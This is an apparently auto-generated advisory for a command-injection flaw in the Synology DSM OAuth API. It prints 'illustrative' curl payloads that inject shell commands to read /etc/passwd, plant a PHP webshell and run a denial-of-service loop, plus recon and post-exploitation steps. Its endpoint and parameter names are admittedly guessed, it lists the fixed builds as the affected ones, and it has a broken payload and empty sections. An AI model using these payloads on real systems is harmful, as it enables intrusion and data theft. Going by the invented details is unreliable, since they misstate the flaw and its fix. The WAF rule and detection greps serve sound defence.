CVE-2026-120382 — Synology DiskStation Manager (DSM) (7.4.1-90080- — CWE-88
An improper neutralization of argument delimiters in a command vulnerability in the OAuth API in Synology DiskStation Manager (DSM) before 7.1.1-42962-10, 7.2.1-69057-14, 7.2.2-72806-11, 7.3.2-86009-6, and 7.4.1-90080-2 allows remote attackers to read or write arbitrary files and conduct denial-of-service attacks.
An improper neutralization of argument delimiters in a command vulnerability in the OAuth API in Synology DiskStation Manager (DSM) before 7.1.1-42962-10, 7.2.1-69057-14, 7.2.2-72806-11, 7.3.2-86009-6, and 7.4.1-90080-2 allows remote attackers to read or write arbitrary files and conduct denial-of-service attacks.
🎯 What is this vulnerability?
CVE‑2026‑120382 is a classic command‑injection flaw caused by improper neutralization of argument delimiters (CWE‑88) in the OAuth API of Synology DiskStation Manager (DSM).
The vulnerable code constructs a shell command that incorporates user‑supplied OAuth parameters (e.g., client_id, client_secret, scope, etc.) without quoting or escaping shell metacharacters. As a result, an attacker can inject arbitrary shell commands via the OAuth request, even when no authentication is required.
Key points:
| Item | Detail | |||
|---|---|---|---|---|
| Affected component | OAuth API endpoint (e.g., /oauth/token or /oauth2/token) | |||
| Authentication | None – the API is publicly reachable and does not require a logged‑in session for the vulnerable operation | |||
| Input validation | Missing sanitization of shell metacharacters (;, &, | , &&, | , >, <, ` `, $(`, etc.) | |
| Resulting impact | Arbitrary command execution → read/write arbitrary files, modify system configuration, or launch denial‑of‑service (DoS) attacks | |||
| Affected DSM versions | DSM 7.1.1‑42962‑10, 7.2.1‑69057‑14, 7.2.2‑72806‑11, 7.3.2‑86009‑6, 7.4.1‑90080‑2 (and any earlier builds) |
Because the API is reachable from any network (AV:N) and the vulnerability can be triggered without UI interaction (UI:N), the CVSS vector reflects a critical risk (C = H, I = H, A = H).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker could follow. The example payloads are illustrative; the exact endpoint and parameter names are not published in the CVE description, so the attacker would first discover the real API path via reconnaissance.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Network scan (e.g., nmap -p 5000,5001,5002 <target>) | Identify DSM web service ports (usually 5000/5001 for HTTP/HTTPS). |
| 1.2 | HTTP header sniffing (curl -I https://<target>/) | Observe X-DSM-Version: 7.4.1-90080-2 header or similar. |
| 1.3 | Endpoint enumeration (dirsearch, gobuster) | Discover /oauth/token or /oauth2/token endpoint. |
| 1.4 | Version fingerprinting | Confirm that the target is running a vulnerable DSM build (e.g., 7.4.1‑90080‑2). |
2. Exploitation
Assumptions
- The vulnerable endpoint is
/oauth/token. - The API accepts a JSON body with fields
client_id,client_secret,grant_type, andscope. - The server passes the
client_idvalue directly into a shell command without sanitization.
PoC (illustrative)
# Read /etc/passwd
curl -k -X POST https://<target>/oauth/token \
-H "Content-Type: application/json" \
-d '{
"client_id":"admin;cat /etc/passwd",
"client_secret":"dummy",
"grant_type":"client_credentials",
"scope":"read"
}'The server will execute something like: /usr/bin/oauth-cli --client-id "admin;cat /etc/passwd" ...
The injected ;cat /etc/passwd runs after the legitimate command, leaking the file contents in the HTTP response.
Write a file (webshell)
# Create a PHP webshell at /webapps/webshell.php
curl -k -X POST https://<target>/oauth/token \
-H "Content-Type: application/json" \
-d '{
"client_id":"admin;echo "<?php system($_GET[\'cmd\']); ?>" > /webapps/webshell.php",
"client_secret":"dummy",
"grant_type":"client_credentials",
"scope":"write"
}'Result: A PHP file is written to the web root. The attacker can now access it:
curl "https://<target>/webapps/webshell.php?cmd=whoami"Denial‑of‑Service
# Launch a CPU‑intensive loop
curl -k -X POST https://<target>/oauth/token \
-H "Content-Type: application/json" \
-d '{
"client_id":"admin;while :;do :;done",
"client_secret":"dummy",
"grant_type":"client_credentials",
"scope":"none"
}'The infinite loop consumes CPU resources, potentially exhausting the DSM’s web server process and causing a DoS.
3. Post‑Exploitation
| Goal | Technique | Outcome |
|---|---|---|
| Persist | Upload a webshell or modify /etc/cron.d via the same injection | Continuous remote access |
| Privilege Escalation | Write a script that modifies DSM configuration files (e.g., /etc/dsm.conf) to disable security features | Full system compromise |
| Data Exfiltration | Use the webshell to read sensitive files (/etc/shadow, /var/log/dsm.log) and send them to an external server | Confidentiality breach |
| Lateral Movement | Enumerate other DSM services (FTP, SMB) and use the webshell to create SMB shares or FTP users | Expand foothold |
Because the vulnerability does not require any authentication, the attacker can perform all of the above from a single HTTP request.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C = H) | Arbitrary file read allows disclosure of system files, credentials, and user data. |
| Integrity (I = H) | Arbitrary file write can modify configuration files, inject malware, or delete logs. |
| Availability (A = H) | Arbitrary command execution can launch DoS attacks, crash services, or lock the system. |
| Overall CVSS Score | 9.8/10 (CRITICAL) |
Practical consequences for a typical Synology NAS environment:
🛡️ Remediation & Mitigation
1. Patch
| Affected DSM releases | Recommended action |
|---|---|
| DSM 7.1.1‑42962‑10, 7.2.1‑69057‑14, 7.2.2‑72806‑11, 7.3.2‑86009‑6, 7.4.1‑90080‑2 | Upgrade immediately to the latest DSM release (any build newer than 7.4.1‑90080‑2). The patch sanitizes all OAuth parameters and removes the vulnerable command‑execution path. |
Note: Synology publishes advisories on their support portal. Verify the exact build number that contains the fix before upgrading.
2. Workarounds (if patching is not yet possible)
| Mitigation | How to implement |
|---|---|
| Restrict OAuth API access | Configure the DSM firewall or your network perimeter to allow /oauth/token only from trusted IP ranges (e.g., internal LAN). |
| Disable the OAuth service | If the NAS is not used for OAuth, disable the service via DSM → Control Panel → Application Portal → OAuth. |
| Apply WAF / ModSecurity rule | Example rule (ModSecurity 2.x syntax):
SecRule REQUEST_URI "@beginsWith /oauth/token" \
"id:1001,phase:2,block,msg:'OAuth API command injection attempt',severity:2,log,tag:oauth,tag:command_injection,chain"
SecRule ARGS|ARGS_NAMES "@rx [;&|`$()<>]" \
"t:none,t:urlDecodeUni,phase:2,block,msg:'Argument delimiter detected',severity:2,log,tag:oauth,tag:command_injection"This rule blocks any request containing shell metacharacters in the OAuth parameters. Adjust the rule to match your exact endpoint and parameter names.
3. Detection
| Indicator | Log pattern | How to search | ||
|---|---|---|---|---|
| Suspicious OAuth requests | POST /oauth/token with client_id containing ; or & | grep -i "oauth/token" /var/log/httpd/access_log | grep -E '; | &' |
| Command execution | sh -c or bash -c in system logs | journalctl -u dsm.service | grep -i 'sh -c' | |
| File creation in webroot | touch /webapps/webshell.php | auditctl -a always,exit -F arch=b64 -S openat -F dir=/webapps -k webshell | ||
| DoS patterns | Repeated long‑running processes | top -b -n1 | grep -i 'while' |
Tip: Enable DSM’s “Audit Log” and “System Log” to capture detailed command execution traces.
⚠️ Urgency
Recommendation:
[🤖 CVE Professor AI Security Engine]
FOFA Query